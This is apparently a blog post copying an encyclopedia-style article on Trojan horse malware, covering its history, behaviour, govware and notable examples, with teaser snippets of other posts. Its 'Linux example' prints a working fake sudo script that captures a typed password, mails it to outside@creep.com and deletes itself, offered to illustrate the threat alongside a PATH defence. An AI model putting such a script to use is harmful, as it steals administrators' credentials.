Skip to main content

What is Trojan Horse?

 In computing, a Trojan horse is any malware that misleads users of its true intent. The term is derived from the Ancient Greek story of the deceptive Trojan Horse that led to the fall of the city of Troy.


Trojans generally spread by some form of social engineering; for example, where a user is duped into executing an email attachment disguised to appear not suspicious (e.g., a routine form to be filled in), or by clicking on some fake advertisement on social media or anywhere else. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller who can then have unauthorized access to the affected computer. Ransomware attacks are often carried out using a trojan.


Unlike computer viruses, worms, and rogue security software, trojans generally do not attempt to inject themselves into other files or otherwise propagate themselves.



Contents

1 Use of the term

2 Behavior

3 Linux example

4 Notable examples

4.1 Private and governmental

4.2 Publicly available

4.3 Detected by security researchers

5 Capitalization

6 See also

7 References

8 External links

Use of the term

It's not clear where or when the concept, and this term for it, was first used, but by 1971 the first Unix manual assumed its readers knew both:


Also, one may not change the owner of a file with the set—user—ID bit on, otherwise one could create Trojan Horses able to misuse other’s files.


Another early reference is in a US Air Force report in 1974 on the analysis of vulnerability in the Multics computer systems.


It was made popular by Ken Thompson in his 1983 Turing Award acceptance lecture "Reflections on Trusting Trust", subtitled: To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software. He mentioned that he knew about the possible existence of trojans from a report on the security of Multics.


Behavior

Once installed, trojans may perform a range of malicious actions. Many tend to contact one or more Command and Control (C2) servers across the Internet and await instruction. Since individual trojans typically use a specific set of ports for this communication, it can be relatively simple to detect them. Moreover, other malware could potentially "take over" the trojan, using it as a proxy for malicious action.


In German-speaking countries, spyware used or made by the government is sometimes called govware. Govware is typically a Trojan software used to intercept communications from the target computer. Some countries like Switzerland and Germany have a legal framework governing the use of such software. Examples of govware trojans include the Swiss MiniPanzer and MegaPanzer and the German "state trojan" nicknamed R2D2. German govware works by exploiting security gaps unknown to the general public and accessing smartphone data before it becomes encrypted via other applications.


Due to the popularity of botnets among hackers and the availability of advertising services that permit authors to violate their users' privacy, trojans are becoming more common. According to a survey conducted by BitDefender from January to June 2009, "trojan-type malware is on the rise, accounting for 83% of the global malware detected in the world." Trojans have a relationship with worms, as they spread with the help given by worms and travel across the internet with them. BitDefender has stated that approximately 15% of computers are members of a botnet, usually recruited by a trojan infection.


Linux example

A Trojan horse is a program that purports to perform some obvious function, yet upon execution it compromises the user's security. One easy program is a new version of the Linux sudo command. The command is then copied to a publicly writable directory like /tmp. If an administrator happens to be in that directory and executes sudo, then the Trojan horse might be executed. Here is a working version:


:

# sudo

# ----


# Turn off the character echo to the screen.

stty -echo


/bin/echo -n "Password for `whoami`: "

read x

/bin/echo ""


# Turn back on the character echo.

stty echo


echo $x | mail -s "`whoami` password" outside@creep.com

sleep 1

echo Sorry.

rm $0


exit 0

To prevent a command-line based Trojan horse, set the . entry in the PATH= environment variable to be located at the tail end. For example: PATH=/usr/local/bin:/usr/bin:..


Notable examples

Private and governmental

ANOM - FBI

0zapftis / r2d2 StaatsTrojaner – DigiTask

DarkComet – CIA / NSA

FinFisher – Lench IT solutions / Gamma International

DaVinci / Galileo RCS – HackingTeam

Magic Lantern – FBI

SUNBURST – SVR/Cozy Bear (suspected)

TAO QUANTUM/FOXACID – NSA

WARRIOR PRIDE – GCHQ

Publicly available

EGABTR – late 1980s

Netbus – 1998 (published)

Sub7 by Mobman – 1999 (published)

Back Orifice – 1998 (published)

Y3K Remote Administration Tool by E&K Tselentis – 2000 (published)

Beast – 2002 (published)

Bifrost trojan – 2004 (published)

DarkComet – 2008-2012 (published)

Blackhole exploit kit – 2012 (published)

Gh0st RAT – 2009 (published)

MegaPanzer BundesTrojaner – 2009 (published)

MEMZ by Leurak – 2016 (published)

Detected by security researchers

Twelve Tricks – 1990

Clickbot.A – 2006 (discovered)

Zeus – 2007 (discovered)

Flashback trojan – 2011 (discovered)

ZeroAccess – 2011 (discovered)

Koobface – 2008 (discovered)

Vundo – 2009 (discovered)

Meredrop – 2010 (discovered)

Coreflood – 2010 (discovered)

Tiny Banker Trojan – 2012 (discovered)

Shedun Android malware – 2015 (discovered)

Capitalization

The computer term "trojan horse" is derived from the legendary Trojan Horse of the ancient city of Troy. For this reason "Trojan" is often capitalized. However, while style guides and dictionaries differ, many suggest a lower case "trojan" for normal use.

Comments

Popular posts from this blog

Future of Humans

As we continue to evolve as a species, one of the most pressing questions that arise is how our future will look. As we continue to advance through science and technology, it is evident that our species will change in ways that we could not have predicted in previous generations. The big questions surrounding the future of humans center around the question of what changes we will see in our abilities and characteristics as humans in the future. Some of the changes that we could see in future generations include increases in intelligence, increases in lifespan, changes in physical appearance, increased technology usage, and changes to social structures. The likelihood that we will become immortal and be able to live forever is a topic that has been hotly debated for centuries. While current technology may not enable us to live forever, we will certainly see an increase in the lifespan of human beings in the coming years due to advances in medicine and other technological advances. In ad...

Windows Server OS

  Windows Server is a brand name for a group of server operating systems released by Microsoft since 2003. The first Windows server edition to be released under that brand was Windows Server 2003. However, the first server edition of Windows was Windows NT 3.1 Advanced Server, followed by Windows NT 3.5 Server, Windows NT 3.51 Server, Windows NT 4.0 Server, and Windows 2000 Server. Windows 2000 Server was the first server edition to include Active Directory, DNS Server, DHCP Server, Group Policy, as well as many other popular features used today. Members Full releases Traditionally, Microsoft supports Windows Server for 10 years, with five years of mainstream support and an additional five years of extended support. These releases also offer a complete GUI desktop experience. Starting with Windows Server 2008 R2, Server Core and Nano Server configurations were made available to reduce the OS footprint. Between 2015 to 2021, Microsoft referred to these releases as "long-term servic...

Android 11

  Android 11   is the   eleventh major release   and 18th version of   Android , the   mobile operating system   developed by the   Open Handset Alliance   led by   Google .   It was released on September 8, 2020   and is the latest Android version to date. The first phone launched in Europe with Android 11 was the Vivo X51 5G and after its full stable release, the first phone in the world that came with Android 11 after Google Pixel was the OnePlus 8T. As of August 2021, 26.79% of Android devices run Android 11 (API 30), making it the second most used version of Android. History The first developer preview build of Android 11 was released on February 19, 2020, as a factory image for supported Google Pixel smartphones (excluding the first-generation Pixel and Pixel XL). Developer Preview 2 was then released on March 18, followed by Developer Preview 3 on April 23. On May 6, Google re...